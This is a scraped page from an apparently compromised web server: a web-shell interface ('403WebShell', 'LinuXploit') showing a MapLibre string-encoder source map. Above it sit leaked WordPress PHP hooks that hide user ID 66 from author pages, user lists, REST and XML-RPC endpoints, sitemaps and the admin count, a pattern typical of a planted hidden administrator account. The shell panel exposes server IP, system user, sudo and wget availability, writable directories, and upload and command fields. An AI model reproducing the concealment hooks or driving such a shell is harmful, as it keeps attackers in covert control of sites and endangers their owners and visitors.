add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/merita/node_modules/@maplibre/mlt/dist/encoding/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/merita/node_modules/@maplibre/mlt/dist/encoding/stringEncoder.js.map
{"version":3,"file":"stringEncoder.js","sourceRoot":"","sources":["../../src/encoding/stringEncoder.ts"],"names":[],"mappings":"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","sourcesContent":["import { PhysicalStreamType } from \"../metadata/tile/physicalStreamType\";\nimport { DictionaryType } from \"../metadata/tile/dictionaryType\";\nimport { LengthType } from \"../metadata/tile/lengthType\";\nimport { OffsetType } from \"../metadata/tile/offsetType\";\nimport { PhysicalLevelTechnique } from \"../metadata/tile/physicalLevelTechnique\";\nimport { LogicalLevelTechnique } from \"../metadata/tile/logicalLevelTechnique\";\nimport IntWrapper from \"../decoding/intWrapper\";\nimport { encodeBooleanRle, encodeStrings, createStringLengths, concatenateBuffers } from \"./encodingUtils\";\nimport { encodeVarintInt32Value, encodeVarintInt32 } from \"./integerEncodingUtils\";\nimport type { StreamMetadata } from \"../metadata/tile/streamMetadataDecoder\";\nimport type { LogicalStreamType } from \"../metadata/tile/logicalStreamType\";\n\n/**\n * Encodes plain strings into a complete stream with PRESENT (if needed), LENGTH, and DATA streams.\n * @param strings - Array of strings (can include null values)\n * @returns Encoded Uint8Array that can be passed to decodeString\n */\nexport function encodePlainStrings(strings: (string | null)[]): Uint8Array {\n    const hasNull = strings.some((s) => s === null);\n    const nonNullStrings = strings.filter((s): s is string => s !== null);\n    const stringBytes = encodeStrings(nonNullStrings);\n\n    const streams: Uint8Array[] = [];\n\n    // Add PRESENT stream if nulls exist\n    if (hasNull) {\n        const nullabilityValues = strings.map((s) => s !== null);\n        streams.push(\n            createStream(PhysicalStreamType.PRESENT, encodeBooleanRle(nullabilityValues), {\n                technique: PhysicalLevelTechnique.VARINT,\n                count: nullabilityValues.length,\n            }),\n        );\n    }\n\n    // Add LENGTH stream\n    const lengths = createStringLengths(nonNullStrings);\n    streams.push(\n        createStream(PhysicalStreamType.LENGTH, encodeVarintInt32(lengths), {\n            logical: { lengthType: LengthType.VAR_BINARY },\n            technique: PhysicalLevelTechnique.VARINT,\n            count: lengths.length,\n        }),\n    );\n\n    // Add DATA stream\n    streams.push(\n        createStream(PhysicalStreamType.DATA, stringBytes, {\n            logical: { dictionaryType: DictionaryType.NONE },\n        }),\n    );\n\n    return concatenateBuffers(...streams);\n}\n\n/**\n * Encodes dictionary-compressed strings into a complete stream.\n * @param strings - Array of strings (can include null values)\n * @returns Encoded Uint8Array that can be passed to decodeString\n */\nexport function encodeDictionaryStrings(strings: (string | null)[]): Uint8Array {\n    const hasNull = strings.some((s) => s === null);\n    const nonNullStrings = strings.filter((s): s is string => s !== null);\n\n    // Create dictionary of unique strings\n    const uniqueStrings = Array.from(new Set(nonNullStrings));\n    const stringMap = new Map(uniqueStrings.map((s, i) => [s, i]));\n    const offsets = nonNullStrings.map((s) => {\n        const offset = stringMap.get(s);\n        if (offset === undefined) {\n            throw new Error(`String not found in dictionary: ${s}`);\n        }\n        return offset;\n    });\n\n    const stringBytes = encodeStrings(uniqueStrings);\n    const lengths = createStringLengths(uniqueStrings);\n\n    const streams: Uint8Array[] = [];\n\n    // Add PRESENT stream if nulls exist\n    if (hasNull) {\n        const nullabilityValues = strings.map((s) => s !== null);\n        streams.push(\n            createStream(PhysicalStreamType.PRESENT, encodeBooleanRle(nullabilityValues), {\n                technique: PhysicalLevelTechnique.VARINT,\n                count: nullabilityValues.length,\n            }),\n        );\n    }\n\n    // Add OFFSET stream\n    streams.push(\n        createStream(PhysicalStreamType.OFFSET, encodeVarintInt32(new Uint32Array(offsets)), {\n            logical: { offsetType: OffsetType.STRING },\n            technique: PhysicalLevelTechnique.VARINT,\n            count: offsets.length,\n        }),\n    );\n\n    // Add LENGTH stream (for dictionary)\n    streams.push(\n        createStream(PhysicalStreamType.LENGTH, encodeVarintInt32(lengths), {\n            logical: { lengthType: LengthType.DICTIONARY },\n            technique: PhysicalLevelTechnique.VARINT,\n            count: lengths.length,\n        }),\n    );\n\n    // Add DATA stream\n    streams.push(\n        createStream(PhysicalStreamType.DATA, stringBytes, {\n            logical: { dictionaryType: DictionaryType.SINGLE },\n        }),\n    );\n\n    return concatenateBuffers(...streams);\n}\n\nfunction createStream(\n    physicalType: PhysicalStreamType,\n    data: Uint8Array,\n    options: {\n        logical?: LogicalStreamType;\n        technique?: PhysicalLevelTechnique;\n        count?: number;\n    } = {},\n): Uint8Array {\n    const count = options.count ?? 0;\n    return buildEncodedStream(\n        {\n            physicalStreamType: physicalType,\n            logicalStreamType: options.logical ?? {},\n            logicalLevelTechnique1: LogicalLevelTechnique.NONE,\n            logicalLevelTechnique2: LogicalLevelTechnique.NONE,\n            physicalLevelTechnique: options.technique ?? PhysicalLevelTechnique.NONE,\n            numValues: count,\n            byteLength: data.length,\n            decompressedCount: count,\n        },\n        data,\n    );\n}\n\nfunction buildEncodedStream(streamMetadata: StreamMetadata, encodedData: Uint8Array): Uint8Array {\n    const updatedMetadata = {\n        ...streamMetadata,\n        byteLength: encodedData.length,\n    };\n\n    const metadataBuffer = encodeStreamMetadata(updatedMetadata);\n    const result = new Uint8Array(metadataBuffer.length + encodedData.length);\n    result.set(metadataBuffer, 0);\n    result.set(encodedData, metadataBuffer.length);\n\n    return result;\n}\n\nfunction encodeStreamMetadata(metadata: StreamMetadata): Uint8Array {\n    const buffer = new Uint8Array(100);\n    let writeOffset = 0;\n\n    // Byte 1: Stream type\n    const physicalTypeIndex = Object.values(PhysicalStreamType).indexOf(metadata.physicalStreamType);\n    const lowerNibble = getLogicalSubtypeValue(metadata);\n    buffer[writeOffset++] = (physicalTypeIndex << 4) | lowerNibble;\n\n    // Byte 2: Encoding techniques\n    const llt1Index = Object.values(LogicalLevelTechnique).indexOf(metadata.logicalLevelTechnique1);\n    const llt2Index = Object.values(LogicalLevelTechnique).indexOf(metadata.logicalLevelTechnique2);\n    const pltIndex = Object.values(PhysicalLevelTechnique).indexOf(metadata.physicalLevelTechnique);\n    buffer[writeOffset++] = (llt1Index << 5) | (llt2Index << 2) | pltIndex;\n\n    // Variable-length fields\n    const offset = new IntWrapper(writeOffset);\n    encodeVarintInt32Value(metadata.numValues, buffer, offset);\n    encodeVarintInt32Value(metadata.byteLength, buffer, offset);\n\n    return buffer.slice(0, offset.get());\n}\n\nfunction getLogicalSubtypeValue(metadata: StreamMetadata): number {\n    const { physicalStreamType, logicalStreamType } = metadata;\n\n    switch (physicalStreamType) {\n        case PhysicalStreamType.DATA:\n            return logicalStreamType.dictionaryType !== undefined\n                ? Object.values(DictionaryType).indexOf(logicalStreamType.dictionaryType)\n                : 0;\n        case PhysicalStreamType.OFFSET:\n            return logicalStreamType.offsetType !== undefined\n                ? Object.values(OffsetType).indexOf(logicalStreamType.offsetType)\n                : 0;\n        case PhysicalStreamType.LENGTH:\n            return logicalStreamType.lengthType !== undefined\n                ? Object.values(LengthType).indexOf(logicalStreamType.lengthType)\n                : 0;\n        default:\n            return 0;\n    }\n}\n"]}

Youez - 2016 - github.com/yon3zu
LinuXploit